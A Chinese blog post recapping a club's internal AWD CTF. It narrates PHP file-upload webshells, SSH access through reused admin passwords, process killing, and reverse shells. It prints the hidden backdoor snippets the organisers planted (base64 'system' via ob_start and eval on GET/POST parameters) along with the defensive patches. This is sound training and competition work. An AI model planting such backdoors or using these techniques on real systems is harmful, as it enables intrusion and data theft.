Vidar-Team 内部 AWD 线下赛总结
今天六一,协会举办了大一第一次线下 AWD。
很开心最后我们组能获得第一。虽然上午被疯狂 Check Down 到自闭,但下午全靠 Moesang 大佬弹了四五个 Shell 疯狂cat /flag
,同时 Y 也把 Pwn 给修好了。一下午就没怎么 Down 过,除了我中途修坏了一道 web 才 Down 了一轮。(是我太菜拖大家后腿了嘤嘤嘤
这也是我第一次打 AWD 啊。 这几天都在给 Liano 写脚本,都没怎么好好准备。写了个叫 Mashiro 的文件变动检查工具,然而最后没部署上。 题目全都来自于去年协会 HCTF 2018 线下赛。难度感觉还好,毕竟是线下赛,主办方还是尽可能会希望比赛激烈一点比较好,因此洞不少 ,也很容易找。 嘛,下面就来根据具体的题目来讲讲这次 AWD 有趣的地方吧。
Web1
Web 隔了四十多分钟才放题。因为是每个人私发的 SSH 密码,所以我和大多数人一样,连上后就没有再修改过 SSH 的密码。
上去后第一件事,找到环境目录后开始用tar
备份:
tar -czvf c0de.tar ./
然后再赶紧scp
拖到本地:
scp -P 31005 ctf@192.168.1.3:/var/www/html/c0de.tar ./
因为是第一次打,也没有准备什么一键自动化的脚本。全程靠手动。
之后的数据库,本来是想mysqldump
的,最后发现源码中有,也就没做了。
发现题目是类似大多数 PHP 框架一样,将入口放在一个public
文件夹里。这样对上通防和流量检测来说确实很方便。但是我写的文件检查工具就不太好配置访问的目录了。也是因为这个原因,最后 Mashiro 没用上。
简单的看了下代码,看不下去,直接上自己的站尝试找找洞。注册了个账号后,发现有个可以修改头像的地方,猜想是不是会存在任意文件上传。
我上传图片,然后 burp 抓包改内容为 PHP,居然真的上传成功了!!到服务器的uploads
上看了下文件,确实是.php
类型,但是文件名变了。翻了下本地的源码,发现:
$filename = md5(time());
原来就根据当前时间戳md5
后生成的啊。赶紧找了台别人的机器传了个一句话木马,真的cat
到了 flag,真的开心!!
在 Moesang 的帮助下用 Postman 交了 flag,一血拿到。
然而之后才发现其实不需要 burp 改包再传的,可以直接在网页上选择 PHP 文件上传即可。
赶紧用这个洞打了一波,拿了三四个机器的 Shell,便开始想着怎么做权限维持。但是很可惜,我尝试过写不死马以及文件,但是都失败了。时候听 Hammer 说好像是因为文件只能写到/tmp
目录下。
渐渐地,其他队伍也注意到了这个洞,那么下面就是修了。
比较常规的方法是加一句判断一下$ext
变量是否为.php
,然而我为了速度,直接改成
$filename = md5(time() . 'abc123');
这样即使 PHP 文件上传上去了,攻击者也找不到文件的位置。也达到了防御的效果。
PS:刚开始的一段时间,Web1 的 Check 都没开起来,所以 Moesang 直接把 Web 目录的权限给下了,然后 PHP 外部 IP 访问直接 403。
但最后权限维持还是没维持住。别的队修了以后就顺手把我的 Shell 给删了;虽然可以在文件名前面加.
变成隐藏文件,或者放在别的目录下。但都不是长久之计。
秒解 Pwn 题
这个真的是够我吹一波的。
当时感觉权限维持没戏后,突然看到源码中有个AdminController
的控制器。觉得这个网站有管理员账户。想到之前 Liano 打西湖论剑线下时抢先改了全场的密码。感觉这里会有点东西。
去我自己 GameBox 上看了下数据库,发现管理员账户的密码,居然和我服务器 SSH 的密码是一样的!!
这就很可怕的,我赶紧用手中剩下的唯一一个 Shell,查询了那台机器 MySQL 数据库中的表。拿到网站管理员密码后,尝试使用它 SSH 连接了一下对方的服务器,发现居然连上了!!
赶紧连上对方两道 Pwn 题的服务器,密码一改,cat /flag
,疯狂上分。
估计对面也是挺懵逼的。薯片赶紧来查看了下情况,我出去跟薯片讲了下我的做法。然后……学长通知大家改 SSH 密码…… 但是,我这个两个 Pwn 的服务器,还真是帮我打到了第一。对面当时一直不敢去申请重置,重置后也只是修改了密码,没有重启这个容器,导致已经登录的我并不会被登出。
但我们队也因为这个付出了代价: 因为发现了这个洞,我们赶紧修改了自己 MySQL 数据库内的数据。然后一个上午一直被 Check down。最后问了学长,发现 Check 会去登录这个管理员账号来判断服务是否可用。 哇!!真的亏大了。直接掉到 9000 多分。
遭遇不死马
在任意文件上传这个洞被大家修得差不多,并且在不断因为改了数据库而 Check down 时。我发现我们的 Web1 居然被 Annevi 他们队给攻陷了!看来他们是发现了新的洞。
Moesang 查看进程发现我们被种了不死马。这下我开始慌了,眼睁睁的看着对面每轮开始疯狂上分,自己的 GameBox 怕会沦为跑马场。
Moesang 赶紧写了个删不死马生成的 Shell 的程序,但是治标不治本。
最后我们想到——在服务器上,是以ctf
账户登录的,而 PHP 是www-data
账户运行的,因此在服务器上 SSH 无法删除。
最后我们写了个 Shell 放自己服务器上,然后用 PHP 调用后执行kill -9 -1
命令,那就是以www-data
账户执行了,杀掉了www-data
的所有服务。
值得注意的是,这步操作还是在每轮中途做,因为把 Check 的访问给 down 了就完了。
最后再捞了几个 flag
晚上快结束的时候,Hammer 告诉我 web1 其实本身就有三个后门。依靠 Moesang 用 D盾 扫描的结果,我们发现了两个地方。
@ob_start(base64_decode('c3lzdGVt'));
echo "$_GET[persistent]";
@ob_end_flush();
上网搜了下,这是个ob_start
的后面,D盾 显示c3lzdGVt
base64_decode
后就是system
。
这里简单的聊聊ob_start
吧~
ob_start()
ob_start()
执行以后,原本将准备输出到页面的内容会全部被存放到缓冲区,最后在遇到ob_end_flush()
后再全部输出。
就开发方面来讲,ob_start()
就是 PHP 模板语言的实现方法——将原本要输出的模板语言,放入到缓冲区中,对其中的相关标签进行修改赋值,最后再赋值。
我由此想到,之前遇到过在使用header()
进行 302 跳转时,header()
前不能有任何输出的。我们或许可以在最前面使用ob_start()
,来暂存所有的输出。使得header()
可以正常运行不报错。(之前在写 Cube 的时候遭遇的这个问题,当时也没有给出很好的解决办法,最后是前端 JS 实现的跳转。
回到 AWD,很遗憾,因为题目 PHP 环境配置的原因,这个ob_start()
的后门并不能用。我也是直接注释掉了这一句。
第二个地方是在libraries/lithium/template/view/Compiler.php
里面。
'/\<\?=\s*(.+?)\s*;?\s*\?>/msx' => '<?php echo $h($1);@eval($_GET[along]); ?>'
也是用 D盾 可以扫出来的。Annevi 就是拿这个打的我们。利用方法是找个 404 的界面,然后传入along
参数就行。
为了能过 Check,保险起见,只是把 eval 那一段给删去了。其实eval
改成echo
更保险些。(鬼知道这 Check 什么规则
快结束时用这个洞捞了几个 flag。
Web2
下午在我 Web1 被打的快自闭时,Web2 出了。 还是照常步骤,备份源码。但这源码打开一审计,满满的 dedecms 的风格。就像是那种从网上买的 PHP 网站源码一下。写的真的不敢恭维。 这次直接 D 盾一扫,直接找到了几个很显眼的后门。
/config/emmm_version.php
中的@eval($_POST[ahahahhahaah]);
。赶紧打一波。
这一次学聪明了,我们这次直接 bash 弹 Shell 来实现权限维持。不少队伍 web2 一直被 Check down,无可奈何去申请重置环境。在他们的环境重置后,Moesang 趁着他们还没开始修洞,赶紧拿这个洞弹 Shell。最后是有 5 个 Shell 的样子。疯狂cat /flag
上分。
一个很蠢的地方
D 盾还扫出来了一个include
的文件包含。但是当时我和 Moesang 都认为文件仅仅是被包含了进来,没有进行echo
输出,是看不到内容的。
但是后面频频被打,最后我在自己机器上试了下,才发现这是可以直接包含输出的!!因为包含进来的是纯文本,不是 PHP!!
赶紧及时止损,修了这个洞。
借 Shell 修洞
当时我和 Moesang 还没发现上面 Web1 中的along
参数任意代码执行。疯狂被打。
这时,Moesang 发现有一队的 Web1 一直是正常的,而我们刚好有那一队的 Shell。赶紧在那一队服务器上用scp
把他们的网站源码传到了我们的服务器上。虽然我们没找到洞在哪,但别人已经修好了,何不直接拖来用呢?
以退为进
要说最后 Moesang 能手握一堆 Shell 而不被打。其实是有方法的。 他在拿到服务器的 Shell 后,顺手帮对方把对应的洞给修了。因为这时已经是比赛后期,大家也都没心思防守了。帮对方修了洞,也就防止了别的队伍靠这个上分。 最后的结果就是,我们的权限维持住了,被修洞的安心被打,还在打的又攻不进来。
攻击的一方在说:“他们居然都把这个洞给补了?!” 被打的一方在说:“我怎么一下防住了这么多人打我?!”
实为妙计。
善用 Google
结束后,Hammer 告诉我,其实有一种偷鸡的做法。在 Google 上可以搜到去年 HCTF Final 的 Writeup。里面描述了两道 Web 题中的相关漏洞,并给出了攻击脚本。 唔…… 我之前用百度搜没搜到,真是气啊!
总结
第一次 AWD,感觉拼的还是速度。其中很多地方都能用脚本实现自动化操作的。并且在比赛中途,发现漏洞后也可以尝试写一个自动化脚本利用交 flag。 并且因为我们缺少一个流量监测平台,因而 Web1 一直被打但却一直没找到洞在哪。 GitHub 上好像有个不错的项目可以使用:wupco/weblogger
并且就战略而言,因为这次是每轮服务被 Check down 扣 60 分,服务被攻陷扣 10 分。因此均衡利弊,当没找到相应的漏洞时,宁可每轮被对方攻陷,也不能为了保险把服务给下了。我们就是因为上午疯狂被 Check down 的原因而掉了很多分。事后想想还是直接被打的好。
并且——我还认识到了一个新的 PHP 框架:li₃。UnionOfRAD/lithium Web1 的题目就是基于这个框架搭建的应用。审源码的时候我发现 li₃ 的代码真的是通俗易懂。一眼望过去没有一行是多余的。并且她也有像 Laravel 一样的报错页面,整个 UI 也比 Laravel 的好看很多。有空想去学学。
嘛就这些啦~ 之后还得接着肝 Python 脚本以及期末复习 QAQ,希望这学期别再挂科了。<—-不存在的。
喜欢这篇文章?为什么不打赏一下呢?